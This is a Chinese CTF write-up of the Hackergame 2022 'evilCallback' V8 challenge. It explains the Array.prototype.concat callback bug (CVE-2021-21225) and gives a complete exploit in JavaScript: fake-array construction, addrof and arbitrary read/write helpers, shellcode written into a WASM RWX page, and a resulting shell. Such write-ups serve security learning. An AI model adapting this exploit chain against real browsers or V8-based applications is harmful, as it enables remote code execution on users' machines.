Hackergame 2022 writeup 0x03

这算是第一次打了一次 v8 pwn,是最后一天做出来的,让我不免的想起来了 2020 年的 Hackergame 最后一晚通宵学习了什么是 pwn、什么是堆栈。连夜做出来了那一道 tictactoe,又在十一点左右做出来了那个 bitflip……

时隔两年,也做了些 pwn 题,虽说不是个标准的二进制手,但也是在各种 AWD 中打 patch 的主力了(乐

年轻人的第一次 v8 pwn!

这篇文章是在赛后 3 天才开始动笔写,期间也看了看其他人的 wp,这篇文章一来是 wp 性质,二来也是更细致的学习 v8 的笔记。

V8

V8 是 Google 开发的 JavaScript 引擎,被用在 Google Chrome 和 Chromium 中,同时也是 Node.js 的核心组件。同时因为 Electron 应用的普及,如今各位的电脑里多多少少都要好几个 V8,诸如 VSCode、XMind 等等,像极了当初电脑里四处各种版本的 Java (属于是继承了 Java 的优良传统

V8 是开源的,它的源码可以在 GitHub 上找到,同时也有一个 官方文档。如果想要学习 v8 的数据结构和源码,可以在 nodesource 上找到很好的文章。比如如果想要学习 v8 内数据结构的话,可以从 Value 找到一张很清晰的继承关系图。

evilCallback

NyaRu 要毕业了,苗苗璐很伤心,希望 call her back(在此翻译为:再次找到她)。

幸好苗苗璐已经开发出了极为先进的 AI NyaRu,歌力更是远超原版,现在只差最后的「One Last Kiss 29.0 歌曲资料」(位于 /flag 中)就能补完 AI NyaRu,陪伴着苗苗璐一直走下去。

你能通过 NyaRu 电脑上存在漏洞的 V8 程序来运行 /readflag 获得 flag 帮助苗苗璐实现「AI NyaRu 补完计划」吗?

注意:点击下载题目附件,附件中已经提供了存在漏洞的可执行文件 executable_d8/d8,为了得到一致的内存布局,本地调试时不要忘记加上参数 --max-heap-size 1024。

不过,如果你想在这道题目以外进一步挖掘 V8 中各种潜在漏洞,可以参考这份 V8 调试环境配置指南

查看 diff,结合看到 Github Blame,可以发现与题目相关的 patch 点有几个是 2021 年提交的 commit,且都是有关于 Array.prototype.concat,可以搜索看看有没有什么相关的信息。部分有用的搜索结果我放到 References 里了。

搜索 CVE Array.concat 可以找到关于 CVE-2017-5030, CVE-2016-1646CVE-2021-21225 的一些漏洞利用例子,其中 看雪 和它的原文 A Bug’s Life: CVE-2021-21225

对于 pwn 且最终能够 getshell 的题目,其一般的要点有三个:泄漏地址、任意地址读和任意地址写,这道题也不例外,不过在开始之前,需要补充一些内容。

Array 内存结构

ref: 在指针压缩引入之前的v8,浮点数组的内存布局,引入之后的A内存布局有些区别,但是在这里的漏洞利用的原理都是一样

PS:本道题目出题人贴心地关闭了指针压缩

V8 中有快数组和慢数组(FastSlow)两种数组,快数组是指数组中的元素都是同一种类型,慢数组是指数组中的元素可以是不同类型的。当存储的数组为快数组时,会将数组的元素存储在连续的内存中,慢数组则是通过存储指针的方式来存储数组元素,原始数组的每一项都是一个指针,因而可以存储不同类型的元素。

而对于对于字面量数组 Literal Array 和被创建的数组 Constructed Array ,它们在内存布局层面有所不同:

               Literal Array               Constructed Array
             [1.1,2.2,3.3,4.4]                new Array(4)
            0                64           0                64
 low        +-----------------+        +--+-----------------+
  |         |   buffer map    |<-+     |  |       map       |
  |         +-----------------+  |     |  +-----------------+
  |         |  buffer length  |  |    JS  |     property    |
  |         +-----------------+  |  Array +-----------------+
  |         |    element[0]   |  |     |  |     element     |--+
  |         +-----------------+  |     |  +-----------------+  |
  |         |    element[1]   |  |     |  |     length      |  |
  |         +-----------------+  |     +--+-----------------+  |
  |         |       ...       |  |        |   buffer map    |<-+
  |         +-----------------+  |        +-----------------+
  |         |    element[N]   |  |        |  buffer length  |
  |      +--+-----------------+  |        +-----------------+
  |      |  |       map       |  |        |    element[0]   |
  |      |  +-----------------+  |        +-----------------+
  |     JS  |     property    |  |        |    element[1]   |
  |   Array +-----------------+  |        +-----------------+
  |      |  |     element     |--+        |       ...       |
  |      |  +-----------------+           +-----------------+
  v      |  |     length      |           |    element[N]   |
high     +--+-----------------+           +-----------------+

因此对于字面量数组,如果能够读取 element[N + 1] 就意味着可以获取这个数组的 map 指针,能够读取 element[N + 2] 就意味着可以获取这个数组的 property 指针。

如果有多个数组相邻,在出发 gc 后它们将会被一同复制到新的内存区域,利用这个特性,如果在进行某些操作的时候可以意外地更改数组长度、触发 gc,那么数组将可以泄漏出 JS Array 的结构体,进而泄漏指针,泄漏堆内存信息。

Callback 系列漏洞

借由题目所给 diff 信息,发现禁用了一堆 DisallowJavascriptExecution

-  DisallowJavascriptExecution no_js(isolate);
+  // DisallowJavascriptExecution no_js(isolate);

在源码中可以看到如下注释:

Disallow execution so the cached elements won’t change mid execution.

结合题目所给注释的提示:

there can be some magic between FAST and SLOW access to elements

参考上下文出现的代码:

// ...
int fast_length = static_cast<int>(length);
DCHECK(fast_length <= elements->length());
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
  Handle<Object> element_value(elements->get(j), isolate);
// ...

以及目前搜集到的有关于 CVE-2016-1646CVE-2021-21225 的利用信息可知,在 V8 进行 Array.prototype.concat 的过程中,会调用 IterateElements 函数,这一函数在访问元素时,为了加快访问速度,使用 fast_length 中间变量存储数组长度,如果在访问过程中更改了数组长度,将会导致访问越界,进而泄漏指针。

在两个 CVE 的利用实例中,都通过在 callback 中更改数组长度、触发 gc,在重新排布好的内存下进行进一步的读写,从而实现越界读写,泄漏出堆内存及其他对象的信息。

CVE-2021-21225 中,作者发现 visitor 可以被用户通过 Symbol.species 控制,并且可以通过 valueOf 回调函数来使得 Array.prototype.concat 能够顺利执行上述调用链。

其原因是在对数组进行 visit 的过程中会有如下的调用栈:

v8::internal::Object::ToNumber
v8::internal::Object::SetDataProperty
v8::internal::JSObject::DefineOwnPropertyIgnoreAttributes
v8::internal::JSObject::CreateDataProperty
v8::internal::(anonymous namespace)::ArrayConcatVisitor::visit

Object::ToNumber 将会触发 valueOf 回调函数,使得作者可以成功利用:

// [1] Create a TypedArray Object
let u32 = new Uint32Array(32);
u32.__defineSetter__("length", function () {});

// [2] return the TypedArray object from Symbol.species
class MyArray extends Array {
  static get [Symbol.species]() {
    // [1] return a TypedArray
    return function () {
      return u32;
    };
  }
}

// [3] Instantiate our new array class
var w = new MyArray(100);

// [4] create a valueOf callback
w[1] = {
  valueOf: function () {
    w.length = 1; // change the length
    gc(); // trigger garbage collection
    return 1;
  },
};

// [5] trigger array.concat
var c = Array.prototype.concat.call(w);

PS:这也可以看出最终实现此漏洞修复的方法是在 IterateElements 中加入了 DisallowJavascriptExecution,禁止了 JS 的执行,防止数组被非预期修改。
PPS:感觉对数组的遍历时保护还是通过 version 字段比较安全,虽然这样似乎会让 JS 损失它所追求的性能(逃
PPPS:但毕竟 JS 是一门这么 “自由” 的语言对吧(

漏洞利用思路

在得知了如上的利用方法后,可以有如下的利用思路:

  1. 通过 callback 更改一个 Literal Array 的长度,实现越界读,来泄漏另一个相邻数组的 JSArray 结构体信息。
  2. 利用泄漏得到的信息,重新构建一个 Array Object( target_array 对象),它具有我们可以任意更改内容的 JSArray 结构体,需要利用它来进行后续的读写操作。
  3. 利用可控的 Array Buffer 指针(即 target_array 中的 element 指针)指向任意内存,执行读写。
           fake_obj                                         target_array
               |                                  (fake_obj_arr_buffer_addr + 0x10)
               v                                                  |
   +--+-----------------+                    +-----------------+  |
   |  |       map       |  +---------------->|   buffer map    |  |
   |  +-----------------+  |                 +-----------------+  |
  JS  |     property    |  |                 |  buffer length  |  |
Array +-----------------+  |                 +-----------------+  |
   |  |     element     |--+  fake_obj[0] -->|    fake map     |<-+
   |  +-----------------+          :         +-----------------+
   |  |     length      |     fake_obj[1] -->|  fake property  |
   +--+-----------------+          :         +-----------------+
                              fake_obj[2] -->|   fake element  |--+
                                   :         +-----------------+  |
                              fake_obj[3] -->|   fake length   |  |
                                             +-----------------+  |
                                                                  |
      +-----------------+    arbitrary memory - 0x10 + 0x1        |
      |   buffer map?   |<----------------------------------------+
      +-----------------+
      |  buffer length? |
      +-----------------+    arbitrary memory
      |    <r/w here>   |<-------------------- target_array[0]
      +-----------------+

如果想要获取一个 Object 的地址,可以构建:

  1. 创建一个慢数组(即 elements 中实际存储指针的数组),如 [{}, 1.1, 2.2]
  2. 将慢数组的 elements 指针存入上述 Array Buffer 指针。
  3. 给慢数组的元素赋值,并通过 target array 将访问对应下标,获取其地址。

如果想要实现任意位置的读写:

  1. 将待读取的地址减去 0x10 之后再加 0x1,得到一个 Array Buffer 指针。
  2. 读取 target array 的 0 号元素,得到对应地址所存储的值。

Q: 为什么要减去 0x10 之后再加 0x1 呢? > A: 因为在 JSArray 结构体中,elements 字段实际指向的是 ArrayBuffer 的结构体,这一结构体头部有 16bytes 的信息,分别是 maplength,所以需要将目标地址减去 0x10。而需要加 0x1 是因为在 V8 中指针的最后一位是用来标记它是否为 JSObject 的,在 JSArray 进行访存的时候会将地址减一,所以这里需要加一以抵消这一偏移量。

PS: 这也意味着实现 “任意读写” 的前置条件是目标地址的前 16bytes 必须可读,否则会导致访存异常。

之后有两种方法可以实现任意命令执行:

  1. 利用 libc 及一套来自常规 pwn 题的方法来实现任意命令执行。
  2. 利用 V8 为 wasm 准备的可读可写可执行的内存段来实现任意命令执行。

鉴于笔者第一条的利用没打通远程,这里将和预期解一致的第二种利用方法进行描述。笔者参考 exploit.js 进行了一些修改,最终利用成功。

在利用过程中不可避免的要通过一些已知信息计算偏移量,同时希望通过比死循环和Ctrl + C更加优雅的方式来实现断点,V8 很贴心的准备了以下调试命令:

PS: 你需要在启动参数中加入 --allow-natives-syntax 来启用它们。

  • %SystemBreak();

    在当前位置触发断点,交出控制权给调试器。

  • %DebugPrint(obj);

    打印对象的信息,包括其类型、地址、长度等。

最终利用

首先初始化辅助对象

console.log("[*] Setting up helper...");
var helper = new Helpers();
class LeakTypedArray extends Float64Array {}

然后为后续利用做准备,构造基础的信息泄漏:

onst setup = () => {
    let lta = new LeakTypedArray(1024);
    lta.__defineSetter__('length', function () { })

    var a = [
        /* hole */, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
        1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9
    ]; // HOLEY_DOUBLE_ELEMENTS

    var fake_obj = [
        1.1, 2.2, 3.3, 4.4,
        5.5, 6.6, 7.7, 8.8,
        9.9, 1.1, 2.2, 3.3,
        4.4, 5.5, 6.6, 7.7, 8.8
    ]; // DOUBLE_ELEMENTS

    var pointer_array = [{}, 0, 0, 0, 0, 0, 0, 0];
    // SLOW_ELEMENTS
    // used for getting address of any object

    const C = new Function();
    C.__defineGetter__(Symbol.species, () => {
        return function () { return lta; }
    });
    a.constructor = C;

    // define callback
    Array.prototype[0] = {
        valueOf: function () {
            a.length = 1; // change the length
            new ArrayBuffer(0x7fe00000); // trigger gc
            delete Array.prototype[0]; // remove the callback
        }
    };

    console.log("[+] Source array length: " + a.length);

    // use concat to trigger the callback
    var result = Array.prototype.concat.call(a);

    helper.arr_map = result[1];
    helper.arr_property = result[2];
    helper.arr_element = result[3];
    helper.arr_length = result[4];

    // console.log("[+] Concatenated array: " + result);
    helper.put_array_info("Leaked array", result, 1);

    element = helper.ftoll(result[3]);
    console.log("[+] Element buffer: " + helper.hex(element));

    // get the fake object
    helper.fake_obj = fake_obj;
    // use gdb and breakpoint to get following offsets
    helper.fake_obj_arr_addr = element + 0xd0n;
    helper.fake_obj_arr_buffer_addr = element + 0x38n;
    /*
        - fake_obj:
          buffer: element 5-23
            map : element 5
            len : element 6 [high]
            eles: element 7-23
          map   : element 24
          prop  : element 25
          ele   : element 26
          len   : element 27 [high]
    */

    console.log("[+] Fake object address: " + helper.hex(helper.fake_obj_arr_addr));
    console.log("[+] Fake object buffer address: " + helper.hex(helper.fake_obj_arr_buffer_addr));

    helper.put_array_info("Fake object", result, 0x18);
    helper.put_array_buffer("Fake object buffer", result, 5);

    // get the pointer array just like before
    helper.pointer_array = pointer_array;
    helper.pointer_array_addr = element + 0x168n;
    helper.pointer_array_buffer_addr = element + 0xf0n;

    console.log("[+] Pointer array address: " + helper.hex(helper.pointer_array_addr));
    console.log("[+] Pointer array buffer address: " + helper.hex(helper.pointer_array_buffer_addr));

    helper.put_array_info("Pointer array", result, 0x2d);
    helper.put_array_buffer("Pointer array buffer", result, 28);
}

之后需要利用现有的地址来构造一个假的数组,来实现一个可控的 Array Object,这里使用到的是作者在此处给出的 trick,利用 throw 和 catch 来实现 Object::ToNumber 的逃逸,并且通过在此处的赋值来获取到构造好的 Array Object 的实例(即可以自定义其 Array Buffer 的 Array Object)。

构造方法和之前的相似,也是通过触发 gc 来使得数组元素发生重新排列,不过此处为了避免引入可能破坏内存布局的变量,这里利用参数传递目标地址 addr

const trigger = (addr) => {
  let lta = new LeakTypedArray(1024);
  lta.__defineSetter__("length", function () {});

  var a = [
    1.1,
    2.2,
    3.3,
    4.4,
    5.5,
    6.6,
    7.7,
    8.8,
    9.9,
    1.1,
    3.3,
    4.4,
    5.5 /**/,
    ,
    6.6,
    7.7,
    8.8,
    9.9,
    1.1,
    2.2,
    3.3,
    4.4,
    5.5,
    6.6,
    7.7,
    8.8,
    9.9,
    1.1,
    2.2,
    3.3,
    4.4,
    5.5,
    6.6,
    7.7,
    8.8,
    9.9,
    1.1,
    2.2,
    3.3,
    4.4,
    5.5,
    6.6,
    7.7,
    8.8,
    {}, // SOLW_HOLEY_ELEMENTS
  ];

  // make addr a pointer
  var fake_obj_arr_ptr = [
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
    addr,
  ];

  const C = new Function();
  C.__defineGetter__(Symbol.species, () => {
    return function () {
      return lta;
    };
  });
  a.constructor = C;

  // let v8 think
  // the object at fake_obj_arr_buffer_addr is an array
  helper.fake_obj[0] = helper.arr_map;
  helper.fake_obj[1] = helper.arr_property;
  helper.fake_obj[2] = helper.arr_element;
  helper.fake_obj[3] = helper.arr_length;

  // define callback
  // will meet an error when trying to get value of 'addr'
  // https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497164
  Array.prototype[13] = {
    valueOf: function () {
      a.length = 1;
      new ArrayBuffer(0x7fe00000);
      Object.prototype.valueOf = function () {
        helper.target_array = this; // grab our fake JSArray
        delete Object.prototype.valueOf; // clean up this valueOf
        throw "bailout!!!"; // throw to escape Object::ToNumber
        return 42;
      };
      delete Array.prototype[13];
      return 1.1;
    },
  };

  var c = Array.prototype.concat.call(a);
};

PS:这里搞不好就会段错误,属于是堆风水了(

之后通过调用这两个函数便可以初始化获取任意对象地址及任意地址读写的基础数据结构,之后就是开始利用他们构造任意命令执行,并暴露 shell 了。

首先准备一个获取 wasm 实例的函数:

const get_wasm = () => {
  var wasm_code = new Uint8Array([
    0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3,
    130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131,
    128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128,
    128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0,
    0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11,
  ]);
  var wasm_mod = new WebAssembly.Module(wasm_code);
  var wasm_instance = new WebAssembly.Instance(wasm_mod);
  return wasm_instance;
};

之后开始的核心执行流程:

setup();

console.log("[+] Crafting fake object...");

try {
  // add buffer header length (0x10)
  trigger(helper.lltof(helper.fake_obj_arr_buffer_addr + 0x10));
} catch (e) {
  console.log("[!] " + e);
}

console.log("[*] Crafted fake object!");

wasm_ins = get_wasm();
console.log("[+] Wasm instance: " + wasm_ins);

wasm_f = wasm_ins.exports.main;
console.log("[>] Wasm function: " + wasm_f);

let addr = helper.addrof(wasm_ins);
console.log("[+] Wasm instance address: " + helper.hex(addr));

这一步需要利用 gdb 去找出 wasm 中指向可读可写可执行段的指针偏移,可以直接用 vmmap 指令先找出哪一段,然后再用 x/100gx 指令去找出偏移……

或者你可以使用 telescope 指令,直接查看对应地址的内容……

PS:这句是看到官方 wp 后才学会的一个指令

查看这里的指令会发现,这里除了一个跳转指令之外一无所有:

pwndbg> x/10i 0x1c701cc50000
   0x1c701cc50000:	jmp    0x1c701cc503c0
   0x1c701cc50005:	int3
   0x1c701cc50006:	int3
   0x1c701cc50007:	int3
   0x1c701cc50008:	int3
   0x1c701cc50009:	int3
   0x1c701cc5000a:	int3
   0x1c701cc5000b:	int3
   0x1c701cc5000c:	int3
   0x1c701cc5000d:	int3

而实际的 wasm 编译后代码则是存储在 0x1c701cc503c0 这个地址上的:

pwndbg> x/16i 0x1c701cc503c0
   0x1c701cc503c0:	push   rbp
   0x1c701cc503c1:	mov    rbp,rsp
   0x1c701cc503c4:	push   0x8
   0x1c701cc503c6:	sub    rsp,0x8
   0x1c701cc503cd:	mov    QWORD PTR [rbp-0x10],rsi
   0x1c701cc503d1:	mov    rax,QWORD PTR [rsi+0x2f]
   0x1c701cc503d5:	cmp    rsp,QWORD PTR [rax]
   0x1c701cc503d8:	jbe    0x1c701cc503e8
   0x1c701cc503de:	mov    eax,0x2a
   0x1c701cc503e3:	mov    rsp,rbp
   0x1c701cc503e6:	pop    rbp
   0x1c701cc503e7:	ret

同时,由于之前提到的限制,0x1c701cc50000 恰好位于一页的起始位置,前一页无映射,访问会触发缺页中断,因此无法直接更改 0x1c701cc50000 处的指令,但是由于此 wasm 的位置总是与其存在 0x3c0 的偏移,因此计划通过更改 0x1c701cc503c0 处的指令来达到目的。

这里之后写入 shellcode 的时候借鉴了利用 DataView 的 Buffer 写方法,相较于自己的 arbwrite,这样的实现更加稳定,且如果利用此方法我们只需要更改一个指针,只使用一次 arbwrite 来更改 DataView 的 Backing Storage 即可。

var buf = new ArrayBuffer(0x1000);
var dataview = new DataView(buf);

var buf_addr = helper.addrof(buf);
console.log("[+] ArrayBuffer address: " + helper.hex(buf_addr));

var backing_store = buf_addr + 0x20n - 1n;
console.log("[+] Backing store address: " + helper.hex(backing_store));

helper.arbwrite(backing_store, rwx_addr + 0x3c0n);

// from shell storm
shellcode = [
  3142107185, 2442567121, 4288122064, 1406924616, 1385783124, 2958971991,
  2416250683, 2425393296, 2425393296, 2425393296, 2425393296, 2425393296,
  2425393296, 2425393296, 2425393296, 2425393296, 9474192,
];
for (let i = 0; i < shellcode.length; i++) {
  dataview.setInt32(i * 4, shellcode[i], true);
}

// call shellcode
wasm_f();

至此,你应该会获得一个 shell 了:

ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
readflag
root
run
sbin
srv
sys
tmp
usr
var

/readflag
flag{w4T4sh1_dAK3_n0_mOnaRiza_ny4Ru_16b92648a7}

flag{w4T4sh1_dAK3_n0_mOnaRiza_ny4Ru_16b92648a7}

Helper Class

这是用于辅助功能的对象,在最后给出,它实现了数据类型之间的转换、信息的存储、读取对象地址和任意读写,不过这需要等待它实例化并经过了基础的构造后才可以使用。

class Helpers {
  constructor() {
    this.buf = new ArrayBuffer(8);
    this.f64 = new Float64Array(this.buf);
    this.u32 = new Uint32Array(this.buf);
    this.u64 = new BigUint64Array(this.buf);
  }
  ftoil(f) {
    this.f64[0] = f;
    return this.u32[0];
  }
  ftoih(f) {
    this.f64[0] = f;
    return this.u32[1];
  }
  ftoll(f) {
    this.f64[0] = f;
    return this.u64[0];
  }
  lltof(f) {
    this.u64[0] = f;
    return this.f64[0];
  }
  hex(val) {
    return "0x" + val.toString(16).padStart(16, "0");
  }
  addrof(object) {
    this.pointer_array[0] = object;
    this.fake_obj[2] = this.lltof(this.pointer_array_buffer_addr);
    return this.ftoll(this.target_array[0]);
  }
  arbread(addr) {
    this.fake_obj[2] = this.lltof(addr - 0x10n + 1n);
    var val = this.ftoll(this.target_array[0]);
    console.log("[+] read > " + this.hex(addr) + " = " + this.hex(val));
    return val;
  }
  arbwrite(addr, data) {
    this.fake_obj[2] = this.lltof(addr - 0x10n + 1n);
    this.target_array[0] = this.lltof(data);
    console.log("[*] write > " + this.hex(addr) + " = " + this.hex(data));
    return;
  }
  pad(num, len) {
    return num.toString().padStart(len, " ");
  }
  put_array_info(name, arr, offset) {
    console.log("==================================================");
    console.log("[+] " + name + " map: " + this.hex(this.ftoll(arr[offset])));
    console.log(
      "[+] " + name + " property: " + this.hex(this.ftoll(arr[offset + 1])),
    );
    console.log(
      "[+] " + name + " element: " + this.hex(this.ftoll(arr[offset + 2])),
    );
    console.log(
      "[+] " + name + " length: " + this.hex(this.ftoih(arr[offset + 3])),
    );
    console.log("==================================================");
  }
  put_array_buffer(name, arr, offset) {
    console.log("==================================================");
    var len = this.ftoih(arr[offset + 1]);
    console.log("[+] " + name + " map: " + this.hex(this.ftoll(arr[offset])));
    console.log(
      "[+] " + name + " length: " + this.hex(this.ftoih(arr[offset + 1])),
    );
    console.log("[+] " + name + " elements: ");
    for (var i = 0; i < len; i++) {
      console.log(
        "    [" +
          this.pad(i, 2) +
          "]: " +
          this.hex(this.ftoll(arr[offset + 2 + i])),
      );
    }
    console.log("==================================================");
  }
}

Reference

  1. A Bug’s Life: CVE-2021-21225
  2. Exploiting CVE-2021-21225 and disabling W^X
  3. V8 Array.prototype.concat函数出现过的issues和他们的POC们
  4. V8: Issue 1195977
  5. V8: Issue 1195977 attachment: exploit.js
  6. Exploiting v8: *CTF 2019 oob-v8
  7. kpwnz: evilCallback: CVE-2021-21225
  8. evilCallback 官方 writeup